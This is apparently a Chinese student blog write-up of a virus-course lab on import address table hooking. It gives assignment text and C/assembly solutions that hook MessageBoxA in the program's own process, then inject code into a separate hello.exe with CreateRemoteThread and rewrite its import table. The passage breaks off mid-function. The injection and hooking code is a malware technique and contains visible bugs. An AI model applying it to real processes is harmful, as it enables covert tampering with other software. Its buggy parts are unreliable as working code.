病毒实验四

title: viruslab4
date: 2016-01-06 15:05:28
categories: virus
tags: virus

导入地址表挂钩

工具:vs2012 ollydbg

part1

  • 完成函数GetIAFromImportTable() 遍历当前进程test.exe模块的导入地址表
    找到其中存放MessageBoxA()入口地址的地址 打印出该地址以及其中存在的值

  • 该函数GetIAFromImportTable()的框架如下:
    DWORD GetIAFromImportTbale(DWORD dwBase,LPCSTR lpszFuncName)
    dwBase 为PE结构的基地址
    lpszFuncName 为查询导入函数的名称字符串
    该函数返回值为存放被查询函数入口地址的地址

  • 进程test.exe的代码

	//test.c
	#include<windows.h>
	void main()
	{
	  //请在这里补全代码 包括调用GetIAFromImportTable()
	  MessageBoxA(NULL,"hello","msg",MB_OK);
	}
  • 提示:可以参考并使用下面两个函数
	DWORD GetIAFromImpDesc(DWORD dwBase,
	LPCSTR lpszName,
	PIMAGE_IMPORT_DESCRIPTOR pImpDesc)
	{
	  PIMAGE_THUNK_DATA pthunk,pthunk2;
	  PIMAGE_IMPORT_BY_NAME pOrdinalName;
	  if(pImpDesc->Name==0) return 0;
	  pthunk=(PIMAGE_THUNK_DATA)(dwBase+pImpDesc->OriginalFirstThunk);
	  pthunk2=(PIMAGE_THUNK_DATA)(dwBase+pImpDesc->FirstThunk);
	  for(;pthunk->u1.Function!=0;pthunk++,pthunk2++){
	    if(pthunk->u1.Ordinal & 0x80000000) continue;
		pOrdinalName=(PIMAGE_IMPORT_BY_NAME)(dwBase+pthunk->u1.AddressOfData);
		if(Compstr((LPSTR)lpszName,(LPSTR)&pOrdinalName->Name))
		  return (DWORD)pthunk2;
	  }
	  return 0;
	}
	BOOL Compstr(LPSTR s1,LPSTR s2)
	{
	  PCHAR p,q;
	  for(p=s1,q=s2;(*p!=0)&&(*q!=0);p++,q++){
	    if(*p!=*q) return FALSE;
	  }
	  return TRUE;
	}
  • part1报告
	#include <windows.h>
	#include <stdlib.h>
	char *s="MessageBoxA";
	BOOL CompStr(LPSTR s1, LPSTR s2){
	  PCHAR p,q;
	  for (p=s1,q=s2;(*p!=0)&&(*q!=0);p++,q++) {
	  if (*p!=*q) return FALSE;
	  }
	  return TRUE;
	}
	DWORD GetIAFromImportTable(DWORD dwBase, LPCSTR lpszFuncName){
	  PIMAGE_DOS_HEADER pDosHeader;//dos头
	  PIMAGE_NT_HEADERS pNtHeaders;//nt头
	  PIMAGE_OPTIONAL_HEADER32 pOptHeader;//可选头
	  DWORD dwRVAImpTbl;
	  DWORD dwSizeOfImpTbl;
	  PIMAGE_IMPORT_DESCRIPTOR pImpTbl, pImpDesc;
	  PIMAGE_THUNK_DATA pthunk, pthunk2;
	  PIMAGE_IMPORT_BY_NAME pOrdinalName;
	  int i;
	  pDosHeader = (PIMAGE_DOS_HEADER)dwBase;//dos头
	  pNtHeaders = (PIMAGE_NT_HEADERS)(dwBase + pDosHeader->e_lfanew);//nt头
	  pOptHeader = &(pNtHeaders->OptionalHeader);//可选头
	  dwRVAImpTbl = pOptHeader->DataDirectory[1].VirtualAddress;//数据目录->导入描述表RVA地址
	  dwSizeOfImpTbl = pOptHeader->DataDirectory[1].Size;//数据目录->有多少个导入描述表
	  pImpTbl = (PIMAGE_IMPORT_DESCRIPTOR)(dwBase + dwRVAImpTbl);//导入描述表地址
	  for (pImpDesc = pImpTbl; 
	  (DWORD)pImpDesc < ((DWORD)pImpTbl + dwSizeOfImpTbl); 
	  pImpDesc++) {//->下一个函数的导入描述表
	  printf("IMAGE_IMPORT_DESCRIPTOR Address: 0x%08x\n", pImpDesc);
	  if (pImpDesc->Name == 0) return 0;
	  pthunk = (PIMAGE_THUNK_DATA) (dwBase + pImpDesc->OriginalFirstThunk);
	  pthunk2 = (PIMAGE_THUNK_DATA) (dwBase + pImpDesc->FirstThunk);
	  while (pthunk->u1.Function != 0) {	
		if (pthunk->u1.Ordinal & 0x80000000)  continue;
		else {//最高位是0 按名称导入的
		  pOrdinalName = (PIMAGE_IMPORT_BY_NAME)(dwBase + pthunk->u1.AddressOfData);
		  if (CompStr((LPSTR)lpszFuncName, (LPSTR)&pOrdinalName->Name)) {
		    printf("MessageBoxA:\n");
		    printf("\t\tAddress of Import Address: 0x%08x\n", pthunk2);
		    printf("\t\tImport Address: 0x%08x\n", *pthunk2);
		    return (DWORD)pthunk2;
		  }    
		  pthunk++;
		  pthunk2++;
		}
	  }
	  } 
	}
	void main(){
	MessageBoxA(NULL, "hello", "msg", MB_OK);
	HMODULE dwBase= GetModuleHandleA(NULL); 
	GetIAFromImportTable(dwBase, s);
	} 

part2

  • 请修改test.exe进程导入地址表中存放MessageBoxA的表项 使之指向一个自己定义的新函数MyMessageBoxA()
    来截获所有test.exe对MessageboxA函数的调用 在截获调用之后 MyMessageBoxA()可以对参数做一些改动
    然后再调用真正的MessageBoxA()
  • 要求:
    定义函数MyMessageBoxA 将截获的MessageBoxA调用的第二个参数无条件改为"I'm hacked!"
	//test.c
	#include<windows.h>
	__declspec(naked)MyMessageBoxA(...)
	{
	  //请在这里补全代码
	}
	void main()
	{
	  //请在这里补全代码
	  //定位MessageBoxA的导入表表项
	  //修改导入地址表表项
	  MessageBoxA(NULL,"Happyday","hello",MB_OK);
	}	
  • part2报告
	#include <windows.h>
	#include <stdlib.h>
	char *s="MessageBoxA";
	__declspec(naked) MyMessageBoxA()
	{
		__asm{
		 push ebp
		 mov ebp,esp
		 sub esp,0x20
		 mov [ebp-0x18],'I'
		 mov [ebp-0x17],'\''
		 mov [ebp-0x16],'m'
		 mov [ebp-0x15],' '
		 mov [ebp-0x14],'h'
		 mov [ebp-0x13],'a'
		 mov [ebp-0x12],'c'
		 mov [ebp-0x11],'k'
		 mov [ebp-0x10],'e'
		 mov [ebp-0x0f],'d'
		 mov [ebp-0x0e],'!'
		 mov [ebp-0x0d],0x0
		 lea eax,[ebp-0x18]
		 push 0x0
		 push eax
		 push eax
		 push 0x0
		 mov eax,0x77C9EA71
		 call eax
		 //call dword ptr [MessageBoxA]
		 add esp,0x20
		 mov esp,ebp
		 pop ebp
		 ret	 
		}	 
	}
	BOOL CompStr(LPSTR s1, LPSTR s2){
	  PCHAR p,q;
	  for (p=s1,q=s2;(*p!=0)&&(*q!=0);p++,q++) {
	  if (*p!=*q) return FALSE;
	  }
	  return TRUE;
	}
	DWORD* GetIAFromImportTable(DWORD dwBase, LPCSTR lpszFuncName){
	  PIMAGE_DOS_HEADER pDosHeader;//dos头
	  PIMAGE_NT_HEADERS pNtHeaders;//nt头
	  PIMAGE_OPTIONAL_HEADER32 pOptHeader;//可选头
	  DWORD dwRVAImpTbl;
	  DWORD dwSizeOfImpTbl;
	  PIMAGE_IMPORT_DESCRIPTOR pImpTbl, pImpDesc;
	  PIMAGE_THUNK_DATA pthunk, pthunk2;
	  PIMAGE_IMPORT_BY_NAME pOrdinalName;
	  int i;
	  pDosHeader = (PIMAGE_DOS_HEADER)dwBase;//dos头
	  pNtHeaders = (PIMAGE_NT_HEADERS)(dwBase + pDosHeader->e_lfanew);//nt头
	  pOptHeader = &(pNtHeaders->OptionalHeader);//可选头
	  dwRVAImpTbl = pOptHeader->DataDirectory[1].VirtualAddress;//数据目录->导入描述表RVA地址
	  dwSizeOfImpTbl = pOptHeader->DataDirectory[1].Size;//数据目录->有多少个导入描述表
	  pImpTbl = (PIMAGE_IMPORT_DESCRIPTOR)(dwBase + dwRVAImpTbl);//导入描述表地址
	  for (pImpDesc = pImpTbl; 
	  (DWORD)pImpDesc < ((DWORD)pImpTbl + dwSizeOfImpTbl); 
	  pImpDesc++) {//->下一个函数的导入描述表

	  if (pImpDesc->Name == 0) return 0;
	  pthunk = (PIMAGE_THUNK_DATA) (dwBase + pImpDesc->OriginalFirstThunk);
	  pthunk2 = (PIMAGE_THUNK_DATA) (dwBase + pImpDesc->FirstThunk);
	  while (pthunk->u1.Function != 0) {	
		if (pthunk->u1.Ordinal & 0x80000000)  continue;
		else {//最高位是0 按名称导入的
		  pOrdinalName = (PIMAGE_IMPORT_BY_NAME)(dwBase + pthunk->u1.AddressOfData);
		  if (CompStr((LPSTR)lpszFuncName, (LPSTR)&pOrdinalName->Name)) {
			return (DWORD*)pthunk2;//ok!!
		  }    
		  pthunk++;
		  pthunk2++;
		}
	  }
	  } 
	}
	void main(){
	DWORD dwBase;
	DWORD* Pthunk2;
	int op;
	MessageBoxA(NULL, "hello", "msg", MB_OK);
	dwBase=GetModuleHandleA(NULL); 
	Pthunk2=GetIAFromImportTable(dwBase,s);
	VirtualProtect(Pthunk2,4,PAGE_EXECUTE_READWRITE,&op);
	(DWORD*)*Pthunk2=(DWORD*)MyMessageBoxA;
	MessageBoxA(NULL, "hello", "msg", MB_OK);
	} 

part3

  • 下面是一段char code[]数组的自动生成代码框架 请编写注入器inj.c 将一段代码注入到hello.exe中
    用来找到hello.exe导入地址表的存放MessageBoxA的表项地址 然后将这个地址返回给inj.exe进程
	#include<windows.h>
	PBYTE pRemoteCode,pCode,pOrignCode;
	DWORD dwSizeOfCode;
	//下面是即将被注入的代码
	void code_start();//code_start 是二进制码的开始标记
	void _str_msgboxa();//_str_msgboxa 标记存放字符串的地址
	void _addr_GetModuleHandleA();//_addr_GetModuleHandleA 标记存放API入口地址的地址
	DWORD GetIAFromImportTbale(DWORD dwBase,LPCSTR lpszFuncName);//寻找IA的函数
	...
	//这里请填入需要一并被注入的函数代码
	void code_end(); //code_end 是二进制的结束标记
	//上面是即将被注入的代码
	__declspec(naked) void code_start()
	{
		__asm{
		  push ebp
		  mov ebp,esp
	      push ebx
		  //local variables
		  sub esp,0x10
		  //ebp - 0x0c ==> ImageBase
		  //self-locating 字定位 请阅读并理解下面3条指令的含义
		  call _delta
		_delta:
		  pop ebx
		  sub ebx,offset _delta
		  //调用GetModuleHandleA()
		  push 0
		  lea ecx,[ebx+_addr_GetModuleHandleA]
		  call dword ptr [ecx]
		  cmp eax,0x0
		  jne _cont1
		  mov eax,0x1
		  jmp _ret
		_cont1:
		  mov [ebp-0x0c],eax
		  //调用GetIAFromImportTable()
		  lea ecx,[ebx+_str_msgboxa]
		  push ecx
		  push [ebp-0x0c]
		  call offset GetIAFromImportTable
		  add esp,0x8
		  cmp eax,0x0
		  jne _ret 
		  mov eax,0x2
		_ret:
		  add esp,0x20
		  pop ebx
		  mov esp,ebp
		  pop ebp
		  ret			
		}		
	}
	//_str_msgboxa 是字符串"MessageBoxA"的地址
	__declspec(naked)void _str_msgboxa()
	{
	  _asm{
	    _emit 'M'
	    _emit 'e'
	    _emit 's'
	    _emit 's'
	    _emit 'a'
	    _emit 'g'
	    _emit 'e'
	    _emit 'B'
	    _emit 'o'
	    _emit 'x'
	    _emit 'A'
	    _emit 0x0	  
	  }
	}
	//_addr_GetModuleHandleA是存放GetModuleHandleA()的全局变量
	__declspec(naked)void _addr_GetModuleHandleA()
	{
	  __asm{
	    _emit 0xAA
		_emit 0xBB
		_emit 0xAA
		_emit 0xBB
	  }
	}
	//这里请填写GetIAFromImportTable()函数的相关代码
	//code_end 是二进制代码的结束标志
	__declspec(naked)void code_end()
	{
	  __asm _emit 0xCC
	}
	//make_code()函数时将标记code_start和结束标记code_end之间的所有二进制数据拷贝到一个缓冲区
	DWORD make_code()
	{
	  int off;
	  DWORD func_addr;
	  HMODULE hModule;
	  __asm{
	    mov edx,offset code_start
		mov dword ptr [pOrignCode],edx
		mov eax,offset code_end
		sub eax,edx
		mov dword ptr [dwSizeOfCode],eax
	  }
	  pCode=VirtualAlloc(NULL,dwSizeOfCode,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
	  if(pCode==NULL){
	    printf("[E]:VirtualAlloc failed\n");
		return 0;
	  }
	  printf("[I]:VirtualAlloc ok --> at 0x%08.\n",pCode);
	
	for(off=0;off<dwSizeOfCode;off++){
	  *(pCode+off)=*(pOrignCode+off);
	}
	printf("[I]:Copy code ok --> from 0x%08x to 0x%08x with size of 0x%08x.\n",
	pOrignCode,pCode,dwSizeOfCode);
	hModule=LoadLibrary("kernel32.dll");
	if(hModule==NULL){
	  printf("[E]:kernel32.dll cannot be loaded.\n");
	  return 0;
	}
	func_addr=(DWORD)GetProcAddress(hModule,"GetModuleHandleA");
	if(func_addr==0){
	  printf("[E]:GetModuleHandA not found.\n");
	  return 0;
	}
	off=(DWORD)pCode-(DWORD)pOrignCode;
	*(PDWORD)((PBYTE)_addr_GetModuleHandleA+off)=func_addr;
	return dwSizeOfCode;
	}	
	//inject_code()函数是存放pCode所指向的缓冲区中的二进制代码注入到远程进程中
	int inject_code(DWORD pid)
	{
	  //请填入代码 完成注入过程
	  return 0;
	}
	int main()
	{
	  DWORD pid=0;
	  //为pid赋值为hello.exe的进程ID
	  make_code();
	  inject_code(pid);
	  return 0;
	}
  • 提示:
    通过调用GetModuleHandleA(NULL)可以得到当前进程中.exe模块的基地址
    通过下面的代码可以得到代码在运行期与编译期的基地址之差 放入ebx寄存器
    然后通过ebx进行寻址 即可以得到运行期代码附带的数据
    这是一种编写"位置无关代码"的常见技术
    所谓"位置无关代码"是运行期不再需要做基址重定位的代码
	  call _delta
	_delta:
	  pop ebx
	  sub ebx,offset _delta
	  mov eax,[ebx+_xxx]//将0xAABBCCDD立即数存入eax
	_xxx:
	  _emit 0xDD
	  _emit 0xCC
	  _emit 0xBB
	  _emit 0xAA
	  
  • 提示:
    在make_code()函数中 code_start与code_end之间的代码被拷贝到pCode所指向的内存页面
    代码大小为dwSizeOfCode
      //hello.c
      #include<windows.h>
      int main()
      {
      while(MessageBoxA(0,"hello","hello.exe",MB_YESNO)==IDYES)
      {}
      return 0;
      }
      
    

- `part3报告`
```c
	//inj.c
	#include <windows.h>
	#include <string.h>
	PBYTE pRemoteCode, pCode, pOrignCode;
	DWORD dwSizeOfCode;

	void code_start();
	void _str_msgboxa(); // _str_msgboxa 标记存放字符串的地址
	void _addr_GetModuleHandleA();//_addr_GetModuleHandleA 标记存放API 入口地址的地址
	DWORD GetIAFromImportTable(DWORD dwBase, LPCSTR lpszFuncName); // 寻找IA 的函数
	void code_end(); 
	// 上面是即将被注入的代码
	__declspec(naked) void code_start()
	{// code_start 是二进制码的开始标记
		__asm {
			push ebp
			mov ebp, esp
			push ebx
			sub esp, 0x10//局部变量
			//call-pop结构 自定位
			call _delta
		_delta:
			pop ebx
			sub ebx, offset _delta//运行期与编译期的基址之差存入ebx
			push 0
			lea ecx, [ebx + _addr_GetModuleHandleA]
			call dword ptr [ecx]
			cmp eax, 0x0
			jne _cont1//成功 eax存放当前进程基址
			mov eax, 0x1//失败
			jmp _ret
		_cont1:
			mov [ebp-0x0C], eax
			lea ecx, [ebx + _str_msgboxa]
			push ecx//字符串MessageBoxA压栈 参数二
			push [ebp-0x0C]//当前进程基址压栈 参数一
			call offset GetIAFromImportTable
			add esp, 0x8
			cmp eax, 0x0
			jne _ret
			mov eax, 0x2
		_ret:
			add esp, 0x20
			pop ebx
			mov esp, ebp
			pop ebp
			ret
		}
	}

	__declspec(naked) void _str_msgboxa()
	{// _str_msgboxa 是字符串”MessageBoxA”的地址
		__asm {
			_emit 'M' //定义混合在代码中的数据
			_emit 'e'
			_emit 's'
			_emit 's'
			_emit 'a'
			_emit 'g'
			_emit 'e'
			_emit 'B'
			_emit 'o'
			_emit 'x'
			_emit 'A'
			_emit 0x0
		}
	}

	__declspec(naked) void _addr_GetModuleHandleA()
	{// _addr_GetModuleHandleA 是存放GetModuleHandleA()的全局变量
		__asm {
			_emit 0xAA
			_emit 0xBB
			_emit 0xAA
			_emit 0xEE
		}
	}

	DWORD GetIAFromImportTable(DWORD dwBase, LPCSTR lpszFuncName)
	{
		PIMAGE_DOS_HEADER pDosHeader;//dos头
		PIMAGE_NT_HEADERS pNtHeaders;//nt头
		PIMAGE_OPTIONAL_HEADER32 pOptHeader;//可选头
		DWORD dwRVAImpTbl;
		DWORD dwSizeOfImpTbl;
		PIMAGE_IMPORT_DESCRIPTOR pImpTbl, pImpDesc;
		PIMAGE_THUNK_DATA pthunk, pthunk2;
		PIMAGE_IMPORT_BY_NAME pOrdinalName;

		pDosHeader = (PIMAGE_DOS_HEADER)dwBase;//dos头
		pNtHeaders = (PIMAGE_NT_HEADERS)(dwBase + pDosHeader->e_lfanew);//nt头
		pOptHeader = &(pNtHeaders->OptionalHeader);//可选头
		dwRVAImpTbl = pOptHeader->DataDirectory[1].VirtualAddress;//数据目录->导入描述表RVA地址
		dwSizeOfImpTbl = pOptHeader->DataDirectory[1].Size;//数据目录->有多少个导入描述表
		pImpTbl = (PIMAGE_IMPORT_DESCRIPTOR)(dwBase + dwRVAImpTbl);//导入描述表地址
		for (pImpDesc = pImpTbl; 
		(DWORD)pImpDesc < ((DWORD)pImpTbl + dwSizeOfImpTbl); 
		pImpDesc++) {//->下一个函数的导入描述表
			if (pImpDesc->Name == 0) return 0;
			pthunk = (PIMAGE_THUNK_DATA) (dwBase + pImpDesc->OriginalFirstThunk);
			pthunk2 = (PIMAGE_THUNK_DATA) (dwBase + pImpDesc->FirstThunk);
			while (pthunk->u1.Function != 0) {	
				if (pthunk->u1.Ordinal & 0x80000000)  continue;
				else {//最高位是0 按名称导入的
					pOrdinalName = 
					(PIMAGE_IMPORT_BY_NAME)(dwBase+pthunk->u1.AddressOfData);
					if ((LPSTR)lpszFuncName=="MessageBoxA") {
						return (DWORD*)pthunk2;//ok!!
					  }    
					pthunk++;
					pthunk2++;
				}
			}
		} 
	}

	__declspec(naked) void code_end()
	{// code_end 是二进制码的结束标记
		__asm _emit 0xCC
	}
	// make_code()将code_start和code_end之间的所有二进制数据拷贝到一个缓冲区中
	DWORD make_code()
	{
		int off;
		DWORD func_addr;
		HMODULE hModule;
		__asm {
			mov edx, offset code_start
			mov dword ptr [pOrignCode], edx//pOrignCode 注入代码首地址
			mov eax, offset code_end
			sub eax, edx
			mov dword ptr [dwSizeOfCode], eax//dwSizeOfCode注入内容总的字节数
		}
		pCode = VirtualAlloc(NULL,//要分配的内存区域的地址
		dwSizeOfCode,//分配的大小 字节单位
		MEM_COMMIT, //分配的类型
		PAGE_EXECUTE_READWRITE);//该内存的保护属性 可读可写可执行
		if (pCode== NULL) {
			printf("[E]: VirtualAlloc failed\n");
			return 0;
		}
		printf("[I]: VirtualAlloc ok --> at 0x%08x.\n", pCode);
		for (off = 0; off<dwSizeOfCode; off++) {
			*(pCode+off) = *(pOrignCode+off);//复制注入代码
		}
		printf("[I]: Copy code ok --> from 0x%08x to 0x%08x with size of 0x%08x.\n",
			pOrignCode, pCode, dwSizeOfCode);
		hModule = LoadLibrary("kernel32.dll");//LoadLibrary载入指定的动态链接库 返回句柄
		if (hModule == NULL) {
			printf("[E]: kernel32.dll cannot be loaded. \n");
			return 0;
		}
		func_addr = (DWORD)GetProcAddress(hModule, "GetModuleHandleA");
		if (func_addr == 0) {//GetProcAddress检索指定的库中函数地址
			printf("[E]: GetModuleHandleA not found. \n");
			return 0;
		}
		off = (DWORD)pCode - (DWORD)pOrignCode;
		*(PDWORD)((PBYTE)_addr_GetModuleHandleA + off) = func_addr;
		return dwSizeOfCode;
	}
	int inject_code(DWORD PID)
	{// inject_code()函数是存放在pCode 所指向的缓冲区中的二进制代码注入到远程进程中
		HANDLE  hProcess    = 0; 
		DWORD   dwNumBytesXferred = 0;
		int	    exitcode   = 0;
		HANDLE  hThread	   = 0;
		DWORD   dwThreadId = 0;
		printf("[I]: Opening remote process %d ", PID); 
		hProcess = OpenProcess(PROCESS_CREATE_THREAD 
			| PROCESS_QUERY_INFORMATION
			| PROCESS_VM_OPERATION 
			| PROCESS_VM_WRITE 
			| PROCESS_VM_READ,
			FALSE, PID);       
		if (hProcess == NULL) {
			printf("failed.\n"); 
			return -1;
		}   
		printf("ok.\n");
		printf("[I]: Allocating remote memory with size of 0x%08x ", dwSizeOfCode);
		pRemoteCode = (PBYTE) VirtualAllocEx(//返回分配内存的首地址
				hProcess, //句柄
				0, //保留页面的内存地址 NULL自动分配
				dwSizeOfCode, //预分配的内存大小 字节单位
				MEM_COMMIT, //分配类型
				PAGE_EXECUTE_READWRITE);//区域权限 可读可写可执行		
		if (pRemoteCode == NULL) {
			printf("failed.\n");
			CloseHandle(hProcess);
			return -1;
		}
		printf("ok at 0x%08x.\n", pRemoteCode);
		printf("[I]: Writing code ");
		if (WriteProcessMemory(
				hProcess, //句柄
				pRemoteCode, //要写的内存首地址
				pCode, //指向要写的数据的指针
				dwSizeOfCode, //要写的字节数
				&dwNumBytesXferred) == 0) {//写入实际数据的长度
			printf("failed.\n");
			VirtualFreeEx(hProcess, pRemoteCode,
					dwSizeOfCode, MEM_RELEASE);
			CloseHandle(hProcess);
			return -1;
		};
		printf("ok (%d bytes were written).\n", dwNumBytesXferred);        
		printf("[I]: Creating a remote thread ");
		hThread = CreateRemoteThread(//返回新线程句柄
				hProcess, //句柄
				NULL, //线程安全指针
				0, //线程初始化大小 0 系统默认大小
				(LPTHREAD_START_ROUTINE)pRemoteCode,
				//在远程进程的地址空间中 该线程的起始地址
				pRemoteCode,//传递给线程函数的参数
				0 ,//线程创建标志 0 创建后立即运行
				&dwThreadId);//指向所创建线程句柄的指针
		if (hThread == 0) {
			printf("failed.\n");
			if ( pRemoteCode != 0 )	
				VirtualFreeEx(//释放远程进程中申请的内存空间
					hProcess,//目标进程句柄
					pRemoteCode,//要释放的内存空间首地址的指针
					0,//内存空间字节数
					MEM_RELEASE);//释放类型 完全回收
			if ( hThread != 0 )			
				CloseHandle(hThread);
			return -1;
		}
		printf("ok.\n"); 
		printf("[I]: Waiting the remote thread ...");
		WaitForSingleObject(hThread, INFINITE);//等待远程线程执行
		GetExitCodeThread(hThread, (PDWORD) &exitcode);//获得终止线程的退出码
		printf("exited with 0x%08X\n", exitcode);
		
		VirtualFreeEx(hProcess, pRemoteCode, 0, MEM_RELEASE);
		CloseHandle(hProcess);
		return 0;
	}
	int main(int argc, char *argv[])
	{
		DWORD PID = 0;
		PID = atoi(argv[1]);
		make_code();
		inject_code(PID);
		return 0;
	}

part4

  • 请结合part2和part3 改写inj.c 注入代码到hello.exe
    包括一段自己编写的拦截MessageBoxA函数和MyMessageBoxA函数
    然后修改进程hello.exe中的导入地址表(IAT) 使其指向MyMessageBoxA
    要求注入代码后 hello.exe中所有的MessageBoxA(h,str,"hello",MB_OK)调用
    均显示为MessageBoxA(h,"i'm hacked!","hello",MB_OK)
  • 提示:
    • 将MyMessageBoxA()函数与_addr_MessageBoxA所指的值一起注入到hello.exe进程
    • 编写一段代码来遍历hello.exe进程中的导入表 找到导入地址表中存放MessageBoxA函数入口地址的位置
    • 将该位置的值改写为代码MyMessageBoxA的入口地址
    • 在注入MyMessageBoxA之前 修改_addr_MessageBoxA 确保其指向真正的MessageBoxA函数的入口地址
	//MyMessageBoxA参考代码
	__declspec(naked) void MyMessageBoxA()
	{
	  __asm{
	    push ebp
		mov ebp,esp
		push ebx
		call _delta2
	  _delta2:
		  pop ebx
		  sub ebx,offset _delta2
		  push [ebp+0x14]
		  push [ebp+0x10]
		  lea ecx,[ebx+_str_hacked]
		  push ecx
		  push [ebp+0x08]
		  lea eax,[ebx+_addr_MessageBoxA]//need relocation
		  call dword ptr [eax]
		  pop ebx
		  mov esp,ebp
		  pop ebp
		  ret 16
		_str_hacked:
		  _emit 'I'
		  _emit '\''
		  _emit 'm'
		  _emit ' '
		  _emit 'h'
		  _emit 'a'
		  _emit 'c'
		  _emit 'k'
		  _emit 'e'
		  _emit 'd'
		  _emit '!'
		  emit 0x0
		_addr_MessageBoxA:
		  _emit 0xAA
		  _emit 0xBB
		  _emit 0xCC
		  _emit 0xDD
	  }
	}
  • part4报告
	//inj.c
	#include <windows.h>
	#include <string.h>
	PBYTE pRemoteCode, pCode, pOrignCode;
	DWORD dwSizeOfCode;

	void code_start();
	void _str_msgboxa(); // _str_msgboxa 标记存放字符串的地址
	void _addr_GetModuleHandleA();//_addr_GetModuleHandleA 标记存放API 入口地址的地址
	void _str_hacked();
	void _addr_MessageBoxA();
	DWORD GetIAFromImportTable(DWORD dwBase, LPCSTR lpszFuncName); // 寻找IA 的函数
	void MyMessageBoxA();
	void code_end(); 
	// 上面是即将被注入的代码
	__declspec(naked) void code_start()
	{// code_start 是二进制码的开始标记
		__asm {
			push ebp
			mov ebp, esp
			push ebx
			sub esp, 0x10//局部变量
			//call-pop结构 自定位
			call _delta
		_delta:
			pop ebx
			sub ebx, offset _delta//运行期与编译期的基址之差存入ebx
			push 0
			lea ecx, [ebx + _addr_GetModuleHandleA]
			call dword ptr [ecx]
			cmp eax, 0x0
			jne _cont1//成功 eax存放当前进程基址
			mov eax, 0x1//失败
			jmp _ret
		_cont1:
			call offset MyMessageBoxA
			mov [ebp-0x0C], eax
			lea ecx, [ebx + _str_msgboxa]
			push ecx//字符串MessageBoxA压栈 参数二
			push [ebp-0x0C]//当前进程基址压栈 参数一
			call offset GetIAFromImportTable
			add esp, 0x8
			cmp eax, 0x0
			jne _ret
			mov eax, 0x2
		_ret:
			add esp, 0x20
			pop ebx
			mov esp, ebp
			pop ebp
			ret
		}
	}

	__declspec(naked) void _str_msgboxa()
	{// _str_msgboxa 是字符串”MessageBoxA”的地址
		__asm {
			_emit 'M' //定义混合在代码中的数据
			_emit 'e'
			_emit 's'
			_emit 's'
			_emit 'a'
			_emit 'g'
			_emit 'e'
			_emit 'B'
			_emit 'o'
			_emit 'x'
			_emit 'A'
			_emit 0x0
		}
	}

	__declspec(naked) void _addr_GetModuleHandleA()
	{// _addr_GetModuleHandleA 是存放GetModuleHandleA()的全局变量
		__asm {
			_emit 0xAA
			_emit 0xBB
			_emit 0xAA
			_emit 0xEE
		}
	}

	__declspec(naked) void MyMessageBoxA(){
		__asm{
			push ebp
			mov ebp,esp
			push ebx
			call _delta2
		_delta2:
			pop ebx
			sub ebx,offset _delta2
			push [ebp+0x14]
			push [ebp+0x10]
			lea ecx,[ebx+_str_hacked]
			push ecx
			push [ebp+0x08]
			lea eax,[ebx+_addr_MessageBoxA]
			call dword ptr [eax]
			pop ebx
			mov esp,ebp
			pop ebp
			ret 16
		}
	}

	__declspec(naked) void _str_hacked(){
		__asm{
			_emit 'I'
			_emit '\''
			_emit 'm'
			_emit ' '
			_emit 'h'
			_emit 'a'
			_emit 'c'
			_emit 'k'
			_emit 'e'
			_emit 'd'
			_emit '!'
			_emit 0x0
		}


	}
		  
	__declspec(naked) void _addr_MessageBoxA(){
		__asm{
		  _emit 0xAA
		  _emit 0xBB
		  _emit 0xCC
		  _emit 0xDD
		}
	}


	DWORD GetIAFromImportTable(DWORD dwBase, LPCSTR lpszFuncName)
	{
	PIMAGE_DOS_HEADER pDosHeader;//dos头
	PIMAGE_NT_HEADERS pNtHeaders;//nt头
	PIMAGE_OPTIONAL_HEADER32 pOptHeader;//可选头
	DWORD dwRVAImpTbl;
	DWORD dwSizeOfImpTbl;
	PIMAGE_IMPORT_DESCRIPTOR pImpTbl, pImpDesc;
	PIMAGE_THUNK_DATA pthunk, pthunk2;
	PIMAGE_IMPORT_BY_NAME pOrdinalName;

	pDosHeader = (PIMAGE_DOS_HEADER)dwBase;//dos头
	pNtHeaders = (PIMAGE_NT_HEADERS)(dwBase + pDosHeader->e_lfanew);//nt头
	pOptHeader = &(pNtHeaders->OptionalHeader);//可选头
	dwRVAImpTbl = pOptHeader->DataDirectory[1].VirtualAddress;//数据目录->导入描述表RVA地址
	dwSizeOfImpTbl = pOptHeader->DataDirectory[1].Size;//数据目录->有多少个导入描述表
	pImpTbl = (PIMAGE_IMPORT_DESCRIPTOR)(dwBase + dwRVAImpTbl);//导入描述表地址
	for (pImpDesc = pImpTbl; 
	(DWORD)pImpDesc < ((DWORD)pImpTbl + dwSizeOfImpTbl); 
	pImpDesc++) {//->下一个函数的导入描述表
		if (pImpDesc->Name == 0) return 0;
		pthunk = (PIMAGE_THUNK_DATA) (dwBase + pImpDesc->OriginalFirstThunk);
		pthunk2 = (PIMAGE_THUNK_DATA) (dwBase + pImpDesc->FirstThunk);
		while (pthunk->u1.Function != 0) {	
		if (pthunk->u1.Ordinal & 0x80000000)  continue;
		else {//最高位是0 按名称导入的
		pOrdinalName = (PIMAGE_IMPORT_BY_NAME)(dwBase + pthunk->u1.AddressOfData);
		if ((LPSTR)lpszFuncName=="MessageBoxA") {
		*pthunk2=((DWORD)MyMessageBoxA-(DWORD)code_start+0x00b00000);
		return (DWORD*)pthunk2;//ok!!
		}    
		pthunk++;
		pthunk2++;
		}
		}
	} 
	}

	__declspec(naked) void code_end()
	{// code_end 是二进制码的结束标记
		__asm _emit 0xCC
	}
	// make_code()将code_start和code_end 之间的所有二进制数据拷贝到一个缓冲区中
	DWORD make_code()
	{
		int off;
		DWORD func_addr;
		DWORD msg_addr;
		HMODULE hModule;
		HMODULE hModule2;
		__asm {
			mov edx, offset code_start
			mov dword ptr [pOrignCode], edx//pOrignCode 注入代码首地址
			mov eax, offset code_end
			sub eax, edx
			mov dword ptr [dwSizeOfCode], eax//dwSizeOfCode注入内容总的字节数
		}
		pCode = VirtualAlloc(NULL,//要分配的内存区域的地址
		dwSizeOfCode,//分配的大小 字节单位
		MEM_COMMIT, //分配的类型
		PAGE_EXECUTE_READWRITE);//该内存的保护属性 可读可写可执行
		if (pCode== NULL) {
			printf("[E]: VirtualAlloc failed\n");
			return 0;
		}
		printf("[I]: VirtualAlloc ok --> at 0x%08x.\n", pCode);
		for (off = 0; off<dwSizeOfCode; off++) {
			*(pCode+off) = *(pOrignCode+off);//复制注入代码
		}
		printf("[I]: Copy code ok --> from 0x%08x to 0x%08x with size of 0x%08x.\n",
			pOrignCode, pCode, dwSizeOfCode);
		hModule = LoadLibrary("kernel32.dll");//LoadLibrary载入指定的动态链接库 返回句柄
		if (hModule == NULL) {
			printf("[E]: kernel32.dll cannot be loaded. \n");
